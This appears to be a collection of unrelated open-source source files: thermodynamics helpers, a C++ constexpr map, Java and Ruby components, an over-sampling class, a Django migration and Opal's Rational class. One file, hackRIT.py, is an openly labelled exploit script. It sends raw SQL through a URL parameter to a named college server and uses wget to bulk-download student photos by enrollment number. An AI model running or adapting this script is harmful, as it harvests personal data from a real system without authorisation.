self.lc.get_compounds( compound_smiles, bypass_chemaxon=True, save_empty_compounds=True ) return eQ_compound def standard_dg_formation_from_cid( self, c_id: str, pickaxe: Pickaxe = None, db_name: str = None ) -> Union[float, None]: """Get standard ∆Gfo for a compound. Parameters ---------- c_id : str Compound ID to get the ∆Gf for. pickaxe : Pickaxe pickaxe object to look for the compound in, by default None. db_name : str Database to look for compound in before core database, by default None. Returns ------- Union[float, None] ∆Gf'o for a compound, or None if unavailable. """ eQ_cpd = self.get_eQ_compound_from_cid(c_id, pickaxe, db_name) if not eQ_cpd: return None dgf = self.CC.standard_dg_formation(eQ_cpd) dgf = dgf[0] return dgf def get_eQ_reaction_from_rid( self, r_id: str, pickaxe: Pickaxe = None, db_name: str = None ) -> Union[PhasedReaction, None]: """Get an eQuilibrator reaction object from an r_id. Parameters ---------- r_id : str Reaction id to get object for. pickaxe : Pickaxe pickaxe object to look for the compound in, by default None. db_name : str Database to look for reaction in. Returns ------- PhasedReaction eQuilibrator reactiono to calculate ∆Gr with. """ if pickaxe: if r_id in pickaxe.reactions: reaction_info = pickaxe.reactions[r_id] else: return None elif db_name: mine = self.client[db_name] reaction_info = mine.reactions.find_one({"_id": r_id}) if not reaction_info: return None else: return None reactants = reaction_info["Reactants"] products = reaction_info["Products"] lhs = " + ".join(f"{r[0]} {r[1]}" for r in reactants) rhs = " + ".join(f"{p[0]} {p[1]}" for p in products) reaction_string = " => ".join([lhs, rhs]) compounds = set([r[1] for r in reactants]) compounds.update(tuple(p[1] for p in products)) eQ_compound_dict = { c_id: self.get_eQ_compound_from_cid(c_id, pickaxe, db_name) for c_id in compounds } if not all(eQ_compound_dict.values()): return None if "X73bc8ef21db580aefe4dbc0af17d4013961d9d17" not in compounds: eQ_compound_dict["water"] = self._water eq_reaction = Reaction.parse_formula(eQ_compound_dict.get, reaction_string) return eq_reaction def physiological_dg_prime_from_rid( self, r_id: str, pickaxe: Pickaxe = None, db_name: str = None ) -> Union[pint.Measurement, None]: """Calculate the ∆Gm' of a reaction. Parameters ---------- r_id : str ID of the reaction to calculate. pickaxe : Pickaxe pickaxe object to look for the compound in, by default None. db_name : str MINE the reaction is found in. Returns ------- pint.Measurement The calculated ∆G'm. """ eQ_reaction = self.get_eQ_reaction_from_rid(r_id, pickaxe, db_name) if not eQ_reaction: return None dGm_prime = self.CC.physiological_dg_prime(eQ_reaction) return dGm_prime def standard_dg_prime_from_rid( self, r_id: str, pickaxe: Pickaxe = None, db_name: str = None ) -> Union[pint.Measurement, None]: """Calculate the ∆G'o of a reaction. Parameters ---------- r_id : str ID of the reaction to calculate. pickaxe : Pickaxe pickaxe object to look for the compound in, by default None. db_name : str MINE the reaction is found in. Returns ------- pint.Measurement The calculated ∆G'o. """ eQ_reaction = self.get_eQ_reaction_from_rid(r_id, pickaxe, db_name) if not eQ_reaction: return None dG0_prime = self.CC.standard_dg_prime(eQ_reaction) return dG0_prime def dg_prime_from_rid( self, r_id: str, pickaxe: Pickaxe = None, db_name: str = None, p_h: Q_ = default_physiological_p_h, p_mg: Q_ = default_physiological_p_mg, ionic_strength: Q_ = default_physiological_ionic_strength, ) -> Union[pint.Measurement, None]: """Calculate the ∆G' of a reaction. Parameters ---------- r_id : str ID of the reaction to calculate. pickaxe : Pickaxe pickaxe object to look for the compound in, by default None. db_name : str MINE the reaction is found in. p_h : Q_ pH of system. p_mg: Q_ pMg of the system. ionic_strength: Q_ ionic strength of the system. Returns ------- pint.Measurement The calculated ∆G'. """ eQ_reaction = self.get_eQ_reaction_from_rid(r_id, pickaxe, db_name) if not eQ_reaction: return None self.CC.p_h = p_h self.CC.p_mg = p_mg self.CC.ionic_strength = ionic_strength dG_prime = self.CC.dg_prime(eQ_reaction) self._reset_CC() return dG_prime
JamesJeffryes/MINE-Database
minedatabase/thermodynamics.py
Python
mit
11,041
// MIT License // Copyright (c) 2017 Simon Pettersson // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #pragma once #include <stdexcept> #include <optional> namespace cmap { /* The underlying model for the binary tree */ namespace _model { /* A map is built like a binary tree as illustrated below. f1(k) / \ / \ f2(k) f3(k) / \ / \ f4(k) f5(k) Each subtree f1,f2,f3,f4,f5 is a function which evaluates a key and returns an `std::optional` with a value if the key matches a key in that subtree, or `std::nullopt` if there was no match in that subtree. To construct the tree we utilize two factory functions * One called `make_terminal(k,v)` which creates a function that evaluates a key and returns a std::optional. * One called `make_branch(left,right)` which creates a branch node, a function that first evaluates the left subtree, if there is a match the left subtree is returned. If unsuccessful it returns the right subtree. Example: Construct the tree above const auto f5 = make_terminal(5,15); const auto f4 = make_terminal(4,14); const auto f2 = make_terminal(3,13); const auto f3 = make_branch(f4, f5); const auto f1 = make_branch(f2, f3); // Performing a lookup for the value `5` would // produce the stacktrace f1(5) f2(5) -> {false, 13} f3(5) f4(5) -> {false, 14} f5(5) -> {true, 15} ... -> {true, 15} In order to easily chain together multiple subtrees there is a utility function called `merge(node1, ...)` which takes all the terminal nodes as arguments and automatically creates the branches. To reproduce the previous example using the merge function one could do the following. Example: Construct the same tree using the `merge` function const auto f5 = make_terminal(5,15); const auto f4 = make_terminal(4,14); const auto f2 = make_terminal(3,13); const auto f1 = merge(f2,f4,f5); Since the whole model is completely independent of the datatype stored there is literally no limit to what you can store in the map, as long as it is copy constructible. That means that you can nest maps and store complex types. */ template<typename K, typename V> constexpr auto make_terminal(const K key, const V value) { return [key,value](const auto _key) { return key == _key ? std::make_optional(value) : std::nullopt; }; }; constexpr auto make_branch(const auto left, const auto right) { return [left,right](auto key) -> decltype(left(key)) { const auto result = left(key); if(result != std::nullopt) { return result; } return right(key); }; } constexpr auto merge(const auto node) { return node; } constexpr auto merge(const auto left, const auto ... rest) { return make_branch(left, merge(rest...)); } } /* Functional interface Example: constexpr auto map = make_map(map(13,43), map(14,44)); constexpr auto fourty_three = lookup(map, 13); constexpr auto fourty_four = lookup(map, 14); */ constexpr auto make_map(const auto ... rest) { return _model::merge(rest...); } constexpr auto map(const auto key, const auto value) { return _model::make_terminal(key, value); } constexpr auto lookup(const auto tree, const auto key) { const auto result = tree(key); return result != std::nullopt ? result.value() : throw std::out_of_range("No such key"); } /* Class interface Example: constexpr auto map = make_lookup(map(13,43), map(14,44)); constexpr auto fourty_three = map[13]; constexpr auto fourty_four = map[14]; */ template<typename TLookup> struct lookup_type { constexpr lookup_type(const TLookup m) : map{m} {} constexpr auto operator[](const auto key) const { return lookup(map, key); } const TLookup map; }; constexpr auto make_lookup(lookup_type<auto> ... rest) { return lookup_type{make_map(rest.map...)}; } constexpr auto make_lookup(const auto ... rest) { return lookup_type{make_map(rest...)}; } } // namespace cmap
simonvpe/cmap
include/cmap.hpp
C++
mit
5,268
import os #Decoration Starts print """ +=============================================================+ || Privilege Escalation Exploit || || +===================================================+ || || | _ _ _ ____ _ __ ____ ___ _____ | || || | | | | | / \ / ___| |/ / | _ \|_ _|_ _| | || || | | |_| | / _ \| | | ' / | |_) || | | | | || || | | _ |/ ___ \ |___| . \ | _ < | | | | | || || | |_| |_/_/ \_\____|_|\_\ |_| \_\___| |_| | || || | | || || +===================================================+ || || ~ by Yadnyawalkya Tale (yadnyawalkyatale@gmail.com) ~ || +=============================================================+ """ #Decoration Ends # Class according to Year Input print "\n1. B.Tech Final Year\n2. T.Y.B.Tech\n3. S.Y.B.Tech\n4. F.Y.Tech" year_input = input() if year_input == 1: year_choice = 1300000 #Final Year elif year_input == 2: year_choice = 1400000 #Third Year elif year_input == 3: year_choice = 1500000 #Second Year elif year_input == 4: year_choice = 1600000 #First Year # Department Class Input print "\n1.Automobile\n2.Civil\n3.ComputerScience\n4.InformationTechnology\n5.ETC\n6.Electrial\n7.Mech" class_input = input() if class_input == 1: class_choice = 1000 #Automobile Department elif class_input == 2: class_choice = 2000 #Civil Department elif class_input == 3: class_choice = 3000 #ComputerScience Department elif class_input == 4: class_choice = 4000 #InformationTechnology Department elif class_input == 5: class_choice = 5000 #ETC Department elif class_input == 6: class_choice = 8000 #Electrial Department elif class_input == 7: class_choice = 6000 #Mechanical Department startflag = year_choice + class_choice #For eg. Start @ 1303000 if class_input == 7: endflag = year_choice + class_choice + 70 +128 #Special Arrangement for Mechanical ;) else: endflag = year_choice + class_choice + 70 #For eg. End @ 1303070 os.system("mkdir ritphotos") decoration="=" while startflag < endflag: startflag = startflag + 1 cmd1 = "wget http://210.212.171.168/ritcloud/StudentPhoto.ashx?ID=SELECT%20Photo%20FROM%20StudMstAll%20WHERE%20EnrollNo%20=%20%27{0}%27 -O ritphotos/photo_{1}.jpg 2>/dev/null ".format(startflag,startflag) os.system(cmd1) decoration = "=" + decoration print "{0}".format(decoration) print "100%\tPlease Wait..." pstartflag = year_choice + class_choice + 150000 if class_input == 7: pendflag = year_choice + class_choice + 40 + 150000 #For All branches else: pendflag = year_choice + class_choice + 15 + 150000 #Special Arrangement for Mechanical ;) while pstartflag < pendflag: pstartflag = pstartflag + 1 cmd2 = "wget http://210.212.171.168/ritcloud/StudentPhoto.ashx?ID=SELECT%20Photo%20FROM%20StudMstAll%20WHERE%20EnrollNo%20=%20%27{0}%27 -O ritphotos/photo_{1}.jpg 2>/dev/null ".format(pstartflag,pstartflag) os.system(cmd2) print "Downloading Images Complete..." os.system("find ritphotos -size 0 -print0 |xargs -0 rm 2>/dev/null ") #Remove 0-Size Images
Yadnyawalkya/hackRIT
hackRIT.py
Python
mit
3,140
package fi.helsinki.cs.okkopa.main.stage; import fi.helsinki.cs.okkopa.mail.read.EmailRead; import fi.helsinki.cs.okkopa.main.ExceptionLogger; import java.io.IOException; import java.io.InputStream; import java.util.List; import javax.mail.Message; import javax.mail.MessagingException; import org.apache.commons.io.IOUtils; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; /** * Retrieves new emails and processes the attachments one by one by calling the next stage repeatedly. */ @Component public class GetEmailStage extends Stage<Object, InputStream> { private static final Logger LOGGER = Logger.getLogger(GetEmailStage.class.getName()); private EmailRead emailReader; private ExceptionLogger exceptionLogger; /** * * @param server * @param exceptionLogger */ @Autowired public GetEmailStage(EmailRead server, ExceptionLogger exceptionLogger) { this.exceptionLogger = exceptionLogger; this.emailReader = server; } @Override public void process(Object in) { try { emailReader.connect(); LOGGER.debug("Kirjauduttu sisään."); loopMessagesAsLongAsThereAreNew(); LOGGER.debug("Ei lisää viestejä."); } catch (MessagingException | IOException ex) { exceptionLogger.logException(ex); } finally { emailReader.closeQuietly(); } } private void processAttachments(Message nextMessage) throws MessagingException, IOException { List<InputStream> messagesAttachments = emailReader.getMessagesAttachments(nextMessage); for (InputStream attachment : messagesAttachments) { LOGGER.debug("Käsitellään liitettä."); processNextStages(attachment); IOUtils.closeQuietly(attachment); } } private void loopMessagesAsLongAsThereAreNew() throws MessagingException, IOException { Message nextMessage = emailReader.getNextMessage(); while (nextMessage != null) { LOGGER.debug("Sähköposti haettu."); processAttachments(nextMessage); emailReader.cleanUpMessage(nextMessage); nextMessage = emailReader.getNextMessage(); } } }
ohtuprojekti/OKKoPa_all
OKKoPa_core/src/main/java/fi/helsinki/cs/okkopa/main/stage/GetEmailStage.java
Java
mit
2,409
import codecs unicode_string = "Hello Python 3 String" bytes_object = b"Hello Python 3 Bytes" print(unicode_string, type(unicode_string)) print(bytes_object, type(bytes_object)) #decode to unicode_string ux = str(object=bytes_object, encoding="utf-8", errors="strict") print(ux, type(ux)) ux = bytes_object.decode(encoding="utf-8", errors="strict") print(ux, type(ux)) hex_bytes = codecs.encode(b"Binary Object", "hex_codec") def string_to_bytes( text ): return bin(int.from_bytes(text.encode(), 'big')) def bytes_to_string( btext ): #btext = int('0b110100001100101011011000110110001101111', 2) return btext.to_bytes((btext.bit_length() + 7) // 8, 'big').decode() def char_to_bytes(char): return bin(ord(char)) def encodes(text): bext = text.encode(encoding="utf-8") enc_bext = codecs.encode(bext, "hex_codec") return enc_bext.decode("utf-8") def decodes(): pass if __name__ == "__main__": print( encodes("walla") )
thedemz/python-gems
bitten.py
Python
mit
978
package simple.practice; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import simple.practice.service.GreetingService; @Component public class Greeting { @Autowired private GreetingService greetingService; public String printGreeting(String name){ String msg = greetingService.greetingMessage() + " User: " + name; System.out.println(msg); return msg; } }
blackphenol/SimpleSpring
src/main/java/simple/practice/Greeting.java
Java
mit
438
"""Class to perform random over-sampling.""" # Authors: Guillaume Lemaitre <g.lemaitre58@gmail.com> # Christos Aridas # License: MIT from collections.abc import Mapping from numbers import Real import numpy as np from scipy import sparse from sklearn.utils import check_array, check_random_state from sklearn.utils import _safe_indexing from sklearn.utils.sparsefuncs import mean_variance_axis from .base import BaseOverSampler from ..utils import check_target_type from ..utils import Substitution from ..utils._docstring import _random_state_docstring from ..utils._validation import _deprecate_positional_args @Substitution( sampling_strategy=BaseOverSampler._sampling_strategy_docstring, random_state=_random_state_docstring, ) class RandomOverSampler(BaseOverSampler): """Class to perform random over-sampling. Object to over-sample the minority class(es) by picking samples at random with replacement. The bootstrap can be generated in a smoothed manner. Read more in the :ref:`User Guide <random_over_sampler>`. Parameters ---------- {sampling_strategy} {random_state} shrinkage : float or dict, default=None Parameter controlling the shrinkage applied to the covariance matrix. when a smoothed bootstrap is generated. The options are: - if `None`, a normal bootstrap will be generated without perturbation. It is equivalent to `shrinkage=0` as well; - if a `float` is given, the shrinkage factor will be used for all classes to generate the smoothed bootstrap; - if a `dict` is given, the shrinkage factor will specific for each class. The key correspond to the targeted class and the value is the shrinkage factor. The value needs of the shrinkage parameter needs to be higher or equal to 0. .. versionadded:: 0.8 Attributes ---------- sampling_strategy_ : dict Dictionary containing the information to sample the dataset. The keys corresponds to the class labels from which to sample and the values are the number of samples to sample. sample_indices_ : ndarray of shape (n_new_samples,) Indices of the samples selected. .. versionadded:: 0.4 shrinkage_ : dict or None The per-class shrinkage factor used to generate the smoothed bootstrap sample. When `shrinkage=None` a normal bootstrap will be generated. .. versionadded:: 0.8 n_features_in_ : int Number of features in the input dataset. .. versionadded:: 0.9 See Also -------- BorderlineSMOTE : Over-sample using the borderline-SMOTE variant. SMOTE : Over-sample using SMOTE. SMOTENC : Over-sample using SMOTE for continuous and categorical features. SMOTEN : Over-sample using the SMOTE variant specifically for categorical features only. SVMSMOTE : Over-sample using SVM-SMOTE variant. ADASYN : Over-sample using ADASYN. KMeansSMOTE : Over-sample applying a clustering before to oversample using SMOTE. Notes ----- Supports multi-class resampling by sampling each class independently. Supports heterogeneous data as object array containing string and numeric data. When generating a smoothed bootstrap, this method is also known as Random Over-Sampling Examples (ROSE) [1]_. .. warning:: Since smoothed bootstrap are generated by adding a small perturbation to the drawn samples, this method is not adequate when working with sparse matrices. References ---------- .. [1] G Menardi, N. Torelli, "Training and assessing classification rules with imbalanced data," Data Mining and Knowledge Discovery, 28(1), pp.92-122, 2014. Examples -------- >>> from collections import Counter >>> from sklearn.datasets import make_classification >>> from imblearn.over_sampling import \ RandomOverSampler # doctest: +NORMALIZE_WHITESPACE >>> X, y = make_classification(n_classes=2, class_sep=2, ... weights=[0.1, 0.9], n_informative=3, n_redundant=1, flip_y=0, ... n_features=20, n_clusters_per_class=1, n_samples=1000, random_state=10) >>> print('Original dataset shape %s' % Counter(y)) Original dataset shape Counter({{1: 900, 0: 100}}) >>> ros = RandomOverSampler(random_state=42) >>> X_res, y_res = ros.fit_resample(X, y) >>> print('Resampled dataset shape %s' % Counter(y_res)) Resampled dataset shape Counter({{0: 900, 1: 900}}) """ @_deprecate_positional_args def __init__( self, *, sampling_strategy="auto", random_state=None, shrinkage=None, ): super().__init__(sampling_strategy=sampling_strategy) self.random_state = random_state self.shrinkage = shrinkage def _check_X_y(self, X, y): y, binarize_y = check_target_type(y, indicate_one_vs_all=True) X, y = self._validate_data( X, y, reset=True, accept_sparse=["csr", "csc"], dtype=None, force_all_finite=False, ) return X, y, binarize_y def _fit_resample(self, X, y): random_state = check_random_state(self.random_state) if isinstance(self.shrinkage, Real): self.shrinkage_ = { klass: self.shrinkage for klass in self.sampling_strategy_ } elif self.shrinkage is None or isinstance(self.shrinkage, Mapping): self.shrinkage_ = self.shrinkage else: raise ValueError( f"`shrinkage` should either be a positive floating number or " f"a dictionary mapping a class to a positive floating number. " f"Got {repr(self.shrinkage)} instead." ) if self.shrinkage_ is not None: missing_shrinkage_keys = ( self.sampling_strategy_.keys() - self.shrinkage_.keys() ) if missing_shrinkage_keys: raise ValueError( f"`shrinkage` should contain a shrinkage factor for " f"each class that will be resampled. The missing " f"classes are: {repr(missing_shrinkage_keys)}" ) for klass, shrink_factor in self.shrinkage_.items(): if shrink_factor < 0: raise ValueError( f"The shrinkage factor needs to be >= 0. " f"Got {shrink_factor} for class {klass}." ) # smoothed bootstrap imposes to make numerical operation; we need # to be sure to have only numerical data in X try: X = check_array(X, accept_sparse=["csr", "csc"], dtype="numeric") except ValueError as exc: raise ValueError( "When shrinkage is not None, X needs to contain only " "numerical data to later generate a smoothed bootstrap " "sample." ) from exc X_resampled = [X.copy()] y_resampled = [y.copy()] sample_indices = range(X.shape[0]) for class_sample, num_samples in self.sampling_strategy_.items(): target_class_indices = np.flatnonzero(y == class_sample) bootstrap_indices = random_state.choice( target_class_indices, size=num_samples, replace=True, ) sample_indices = np.append(sample_indices, bootstrap_indices) if self.shrinkage_ is not None: # generate a smoothed bootstrap with a perturbation n_samples, n_features = X.shape smoothing_constant = (4 / ((n_features + 2) * n_samples)) ** ( 1 / (n_features + 4) ) if sparse.issparse(X): _, X_class_variance = mean_variance_axis( X[target_class_indices, :], axis=0, ) X_class_scale = np.sqrt(X_class_variance, out=X_class_variance) else: X_class_scale = np.std(X[target_class_indices, :], axis=0) smoothing_matrix = np.diagflat( self.shrinkage_[class_sample] * smoothing_constant * X_class_scale ) X_new = random_state.randn(num_samples, n_features) X_new = X_new.dot(smoothing_matrix) + X[bootstrap_indices, :] if sparse.issparse(X): X_new = sparse.csr_matrix(X_new, dtype=X.dtype) X_resampled.append(X_new) else: # generate a bootstrap X_resampled.append(_safe_indexing(X, bootstrap_indices)) y_resampled.append(_safe_indexing(y, bootstrap_indices)) self.sample_indices_ = np.array(sample_indices) if sparse.issparse(X): X_resampled = sparse.vstack(X_resampled, format=X.format) else: X_resampled = np.vstack(X_resampled) y_resampled = np.hstack(y_resampled) return X_resampled, y_resampled def _more_tags(self): return { "X_types": ["2darray", "string", "sparse", "dataframe"], "sample_indices": True, "allow_nan": True, }
scikit-learn-contrib/imbalanced-learn
imblearn/over_sampling/_random_over_sampler.py
Python
mit
9,497
# Source Generated with Decompyle++ # File: session_recording.pyc (Python 2.5) from __future__ import absolute_import from pushbase.session_recording_component import FixedLengthSessionRecordingComponent class SessionRecordingComponent(FixedLengthSessionRecordingComponent): def __init__(self, *a, **k): super(SessionRecordingComponent, self).__init__(*a, **a) self.set_trigger_recording_on_release(not (self._record_button.is_pressed)) def set_trigger_recording_on_release(self, trigger_recording): self._should_trigger_recording = trigger_recording def _on_record_button_pressed(self): pass def _on_record_button_released(self): if self._should_trigger_recording: self._trigger_recording() self._should_trigger_recording = True
phatblat/AbletonLiveMIDIRemoteScripts
Push2/session_recording.py
Python
mit
842
# Generated by Django 2.1 on 2018-08-26 00:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('model_filefields_example', '0001_initial'), ] operations = [ migrations.AlterField( model_name='book', name='cover', field=models.ImageField(blank=True, null=True, upload_to='model_filefields_example.BookCover/bytes/filename/mimetype'), ), migrations.AlterField( model_name='book', name='index', field=models.FileField(blank=True, null=True, upload_to='model_filefields_example.BookIndex/bytes/filename/mimetype'), ), migrations.AlterField( model_name='book', name='pages', field=models.FileField(blank=True, null=True, upload_to='model_filefields_example.BookPages/bytes/filename/mimetype'), ), migrations.AlterField( model_name='sounddevice', name='instruction_manual', field=models.FileField(blank=True, null=True, upload_to='model_filefields_example.SoundDeviceInstructionManual/bytes/filename/mimetype'), ), ]
victor-o-silva/db_file_storage
demo_and_tests/model_filefields_example/migrations/0002_auto_20180826_0054.py
Python
mit
1,197
require 'active_service/model/attributes/nested_attributes' require 'active_service/model/attributes/attribute_map' require 'active_service/model/attributes/serializer' module ActiveService module Model # This module handles attribute methods not provided by ActiveAttr module Attributes extend ActiveSupport::Concern include ActiveService::Model::Attributes::NestedAttributes # Initialize a new object with data # # @param [Hash] attributes The attributes to initialize the object with # @option attributes [Boolean] :_destroyed # # @example # class User < ActiveService::Base # attribute :name # end # # User.new(name: "Tobias") # # => #<User name="Tobias"> # # User.new do |u| # u.name = "Tobias" # end # # => #<User name="Tobias"> def initialize(attributes={}) attributes ||= {} @destroyed = attributes.delete(:_destroyed) || false @owner_path = attributes.delete(:_owner_path) attributes = self.class.default_scope.apply_to(attributes) assign_attributes(attributes) && apply_defaults yield self if block_given? end # Handles missing methods # # @private def method_missing(method, *args, &blk) name = method.to_s.chop if method.to_s =~ /[?=]$/ && has_association?(name) (class << self; self; end).send(:define_method, method) do |value| @attributes[:"#{name}"] = value end send method, *args, &blk else super end end # @private def respond_to_missing?(method, include_private = false) method.to_s =~ /[?=]$/ && has_association?(method.to_s.chop) || super end # Assign new attributes to a resource # # @example # class User < ActiveService::Model # end # # user = User.find(1) # => #<User id=1 name="Tobias"> # user.assign_attributes(name: "Lindsay") # user.changes # => { :name => ["Tobias", "Lindsay"] } def assign_attributes(new_attributes) @attributes ||= attributes # Use setter methods first unset_attributes = self.class.use_setter_methods(self, new_attributes) # Then translate attributes of associations into association instances associations = self.class.parse_associations(unset_attributes) # Then merge the associations into @attributes @attributes.merge!(associations) end alias attributes= assign_attributes def attributes @attributes ||= HashWithIndifferentAccess.new end # Returns true if attribute is defined # # @private def has_attribute?(attribute_name) self.class.attribute_names.include?(attribute_name.to_s) end # @private def has_nested_attributes?(attributes_name) return false unless attributes_name.to_s.match(/_attributes/) associations = self.class.associations.values.flatten.map { |a| a[:name] } associations.include?(attributes_name.to_s.gsub("_attributes", "").to_sym) end # Handles returning data for a specific attribute # # @private def get_attribute(attribute_name) @attributes[attribute_name] end # Returns complete list of attributes and included associations # # @private def serialized_attributes Serializer.new(self).serialize end # Return the value of the model `primary_key` attribute # def id # @attributes[self.class.primary_key] # end # Return `true` if other object is an ActiveService::Base and has matching data # # @private def ==(other) other.is_a?(ActiveService::Base) && @attributes == other.attributes end # Delegate to the == method # # @private def eql?(other) self == other end # Delegate to @attributes, allowing models to act correctly in code like: # [ Model.find(1), Model.find(1) ].uniq # => [ Model.find(1) ] # @private def hash @attributes.hash end module ClassMethods # Initialize a single resource # # @private def instantiate_record(klass, record) if record.kind_of?(klass) record else klass.new(klass.parse(record)) do |resource| resource.send :clear_changes_information end end end # Initialize a collection of resources # # @private def instantiate_collection(klass, data = {}) collection_parser.new(klass.extract_array(data)).collect! do |record| instantiate_record(klass, record) end end # Initialize a collection of resources with raw data from an HTTP request # # @param [Array] parsed_data # @private def new_collection(parsed_data) instantiate_collection(self, parsed_data) end # Initialize a new object with the "raw" parsed_data from the parsing middleware # # @private def new_from_parsed_data(parsed_data) instantiate_record(self, parsed_data) end # Use setter methods of model for each key / value pair in params # Return key / value pairs for which no setter method was defined on the model # # @note Activeservice won't create attributes automatically # @private def use_setter_methods(model, params) params ||= {} params.inject({}) do |memo, (key, value)| writer = "#{key}=" if model.respond_to?(writer) && (model.has_attribute?(key) || model.has_nested_attributes?(key)) model.send writer, value else key = key.to_sym if key.is_a? String memo[key] = value end memo end end # Returns a mapping of attributes to fields # # ActiveService can map fields from a response to attributes defined on a # model. <tt>attribute_map</tt> translates source fields to their model # attributes and vice-versa during HTTP requests. def attribute_map @attribute_map ||= ActiveService::Model::Attributes::AttributeMap.new(attributes.values) end end end end end
zacharywelch/activeservice
lib/active_service/model/attributes.rb
Ruby
mit
6,526
require 'corelib/numeric' require 'corelib/rational/base' class ::Rational < ::Numeric def self.reduce(num, den) num = num.to_i den = den.to_i if den == 0 ::Kernel.raise ::ZeroDivisionError, 'divided by 0' elsif den < 0 num = -num den = -den elsif den == 1 return new(num, den) end gcd = num.gcd(den) new(num / gcd, den / gcd) end def self.convert(num, den) if num.nil? || den.nil? ::Kernel.raise ::TypeError, 'cannot convert nil into Rational' end if ::Integer === num && ::Integer === den return reduce(num, den) end if ::Float === num || ::String === num || ::Complex === num num = num.to_r end if ::Float === den || ::String === den || ::Complex === den den = den.to_r end if den.equal?(1) && !(::Integer === num) ::Opal.coerce_to!(num, ::Rational, :to_r) elsif ::Numeric === num && ::Numeric === den num / den else reduce(num, den) end end def initialize(num, den) @num = num @den = den end def numerator @num end def denominator @den end def coerce(other) case other when ::Rational [other, self] when ::Integer [other.to_r, self] when ::Float [other, to_f] end end def ==(other) case other when ::Rational @num == other.numerator && @den == other.denominator when ::Integer @num == other && @den == 1 when ::Float to_f == other else other == self end end def <=>(other) case other when ::Rational @num * other.denominator - @den * other.numerator <=> 0 when ::Integer @num - @den * other <=> 0 when ::Float to_f <=> other else __coerced__ :<=>, other end end def +(other) case other when ::Rational num = @num * other.denominator + @den * other.numerator den = @den * other.denominator ::Kernel.Rational(num, den) when ::Integer ::Kernel.Rational(@num + other * @den, @den) when ::Float to_f + other else __coerced__ :+, other end end def -(other) case other when ::Rational num = @num * other.denominator - @den * other.numerator den = @den * other.denominator ::Kernel.Rational(num, den) when ::Integer ::Kernel.Rational(@num - other * @den, @den) when ::Float to_f - other else __coerced__ :-, other end end def *(other) case other when ::Rational num = @num * other.numerator den = @den * other.denominator ::Kernel.Rational(num, den) when ::Integer ::Kernel.Rational(@num * other, @den) when ::Float to_f * other else __coerced__ :*, other end end def /(other) case other when ::Rational num = @num * other.denominator den = @den * other.numerator ::Kernel.Rational(num, den) when ::Integer if other == 0 to_f / 0.0 else ::Kernel.Rational(@num, @den * other) end when ::Float to_f / other else __coerced__ :/, other end end def **(other) case other when ::Integer if self == 0 && other < 0 ::Float::INFINITY elsif other > 0 ::Kernel.Rational(@num**other, @den**other) elsif other < 0 ::Kernel.Rational(@den**-other, @num**-other) else ::Kernel.Rational(1, 1) end when ::Float to_f**other when ::Rational if other == 0 ::Kernel.Rational(1, 1) elsif other.denominator == 1 if other < 0 ::Kernel.Rational(@den**other.numerator.abs, @num**other.numerator.abs) else ::Kernel.Rational(@num**other.numerator, @den**other.numerator) end elsif self == 0 && other < 0 ::Kernel.raise ::ZeroDivisionError, 'divided by 0' else to_f**other end else __coerced__ :**, other end end def abs ::Kernel.Rational(@num.abs, @den.abs) end def ceil(precision = 0) if precision == 0 (-(-@num / @den)).ceil else with_precision(:ceil, precision) end end def floor(precision = 0) if precision == 0 (-(-@num / @den)).floor else with_precision(:floor, precision) end end def hash "Rational:#{@num}:#{@den}" end def inspect "(#{self})" end def rationalize(eps = undefined) %x{ if (arguments.length > 1) { #{::Kernel.raise ::ArgumentError, "wrong number of arguments (#{`arguments.length`} for 0..1)"}; } if (eps == null) { return self; } var e = #{eps.abs}, a = #{self - `e`}, b = #{self + `e`}; var p0 = 0, p1 = 1, q0 = 1, q1 = 0, p2, q2; var c, k, t; while (true) { c = #{`a`.ceil}; if (#{`c` <= `b`}) { break; } k = c - 1; p2 = k * p1 + p0; q2 = k * q1 + q0; t = #{1 / (`b` - `k`)}; b = #{1 / (`a` - `k`)}; a = t; p0 = p1; q0 = q1; p1 = p2; q1 = q2; } return #{::Kernel.Rational(`c * p1 + p0`, `c * q1 + q0`)}; } end def round(precision = 0) return with_precision(:round, precision) unless precision == 0 return 0 if @num == 0 return @num if @den == 1 num = @num.abs * 2 + @den den = @den * 2 approx = (num / den).truncate if @num < 0 -approx else approx end end def to_f @num / @den end def to_i truncate end def to_r self end def to_s "#{@num}/#{@den}" end def truncate(precision = 0) if precision == 0 @num < 0 ? ceil : floor else with_precision(:truncate, precision) end end def with_precision(method, precision) ::Kernel.raise ::TypeError, 'not an Integer' unless ::Integer === precision p = 10**precision s = self * p if precision < 1 (s.send(method) / p).to_i else ::Kernel.Rational(s.send(method), p) end end def self.from_string(string) %x{ var str = string.trimLeft(), re = /^[+-]?[\d_]+(\.[\d_]+)?/, match = str.match(re), numerator, denominator; function isFloat() { return re.test(str); } function cutFloat() { var match = str.match(re); var number = match[0]; str = str.slice(number.length); return number.replace(/_/g, ''); } if (isFloat()) { numerator = parseFloat(cutFloat()); if (str[0] === '/') { // rational real part str = str.slice(1); if (isFloat()) { denominator = parseFloat(cutFloat()); return #{::Kernel.Rational(`numerator`, `denominator`)}; } else { return #{::Kernel.Rational(`numerator`, 1)}; } } else { return #{::Kernel.Rational(`numerator`, 1)}; } } else { return #{::Kernel.Rational(0, 1)}; } } end alias divide / alias quo / end
opal/opal
opal/corelib/rational.rb
Ruby
mit
7,210